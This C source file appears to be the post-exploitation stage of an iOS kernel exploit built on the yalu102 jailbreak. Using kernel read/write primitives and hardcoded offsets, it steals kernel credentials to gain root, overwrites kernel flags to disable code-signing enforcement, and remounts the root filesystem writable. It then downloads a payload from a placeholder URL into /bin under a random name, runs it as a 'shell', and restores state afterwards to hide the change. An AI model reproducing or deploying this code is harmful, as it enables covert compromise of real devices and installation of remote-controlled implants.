// [1] https://github.com/kpwn/yalu102/blob/master/yalu102/ // [2] http://www.newosxbook.com/articles/CodeSigning.pdf #include "macho.h" #include "utils.h" #include "offsets.h" #define MNT_ROOTFS 0x00004000 #define MNT_RDONLY 0x00000001 #define MNT_NOSUID 0x00000008 #define PAYLOAD_URL_PLACEHOLDER "PAYLOAD_URL_PLACEHOLDER\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" static struct { addr_t amfi_allow_any_signature; addr_t cs_enforcement_disable; addr_t p_rootvnode; addr_t base; } koffsets = { .amfi_allow_any_signature = 0x807c3b30, .cs_enforcement_disable = 0x807c3b38, .p_rootvnode = 0x8038c1b4, .base = 0x80001000 }; addr_t get_port_addr(addr_t space, mach_port_t port) { addr_t is_table_size; addr_t is_table; addr_t addr; is_table_size = kr32(space + SPACE_is_table_size); is_table = kr32(space + SPACE_is_table); addr = kr32(is_table + (port >> 8)*0x10); return addr; } addr_t proc_for_pid(addr_t self_proc, int pid) { addr_t next = kr32(self_proc); while (next != self_proc) { int _pid = kr32(next + 8); if (_pid == pid) { return next; } next = kr32(next); } return 0; } int remount_root_rw(addr_t slide) { addr_t rootvnode = kr32(koffsets.p_rootvnode + slide); addr_t v_mount = kr32(rootvnode + VNODE_v_mount); uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags); kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~(MNT_ROOTFS | MNT_RDONLY)); char* nmz = strdup("/dev/disk0s1s1"); int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz); if (ret < 0) { LOG("mount failed ret: %d", ret); return -1; } LOG("root fs mounted r/w"); kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~MNT_RDONLY); return 0; } int remount_root_ro(addr_t slide) { addr_t rootvnode = kr32(koffsets.p_rootvnode + slide); addr_t v_mount = kr32(rootvnode + VNODE_v_mount); uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags); mnt_flags |= MNT_RDONLY; mnt_flags &= ~MNT_ROOTFS; kw32(v_mount + MOUNT_mnt_flags, mnt_flags); char* nmz = strdup("/dev/disk0s1s1"); int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz); if (ret < 0) { LOG("mount failed ret: %d", ret); return -1; } LOG("root fs mounted ro"); kw32(v_mount + MOUNT_mnt_flags, mnt_flags | MNT_ROOTFS); return 0; } void random_string(char *s, const int len) { static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; for (int i = 0; i < len; ++i) { s[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; } s[len] = 0; } void deploy() { char* path = "/bin/random"; random_string(path + 5, 6); download(PAYLOAD_URL_PLACEHOLDER, path); pid_t pid = 0; char *args[] = {path, NULL}; int ret = posix_spawn(&pid, path, 0, 0, args, NULL); if (ret < 0) { LOG("posix_spawn failed: %d", ret); return; } waitpid(pid, 0, 0); LOG("shell deployed"); } void shell_main(addr_t self_space, addr_t slide) { addr_t self_addr = get_port_addr(self_space, mach_task_self()); LOG("self_addr: %lx", self_addr); addr_t self_task = kr32(self_addr + IPC_PORT_kobject); LOG("self_task: %lx", self_task); addr_t self_proc = kr32(self_task + TASK_bsd_proc); LOG("self_proc: %lx", self_proc); addr_t kernel_proc = proc_for_pid(self_proc, 0); LOG("kernel_proc: %lx", kernel_proc); // privilege escalation from [1] addr_t self_ucred = kr32(self_proc + PROC_ucred); addr_t kernel_cred = kr32(kernel_proc + PROC_ucred); kw32(self_proc + PROC_ucred, kernel_cred); LOG("got root uid: %d, gid: %d", getuid(), getgid()); // disable code signing by overwriting kernel arguments // as described in [2] // // defeats // outside of container && !i_can_has_debugger kw32(koffsets.amfi_allow_any_signature + slide, 1); kw32(koffsets.cs_enforcement_disable + slide, 1); // root file system remount from [1] remount_root_rw(slide); deploy(); remount_root_ro(slide); // restore credentials kw32(self_proc + PROC_ucred, self_ucred); }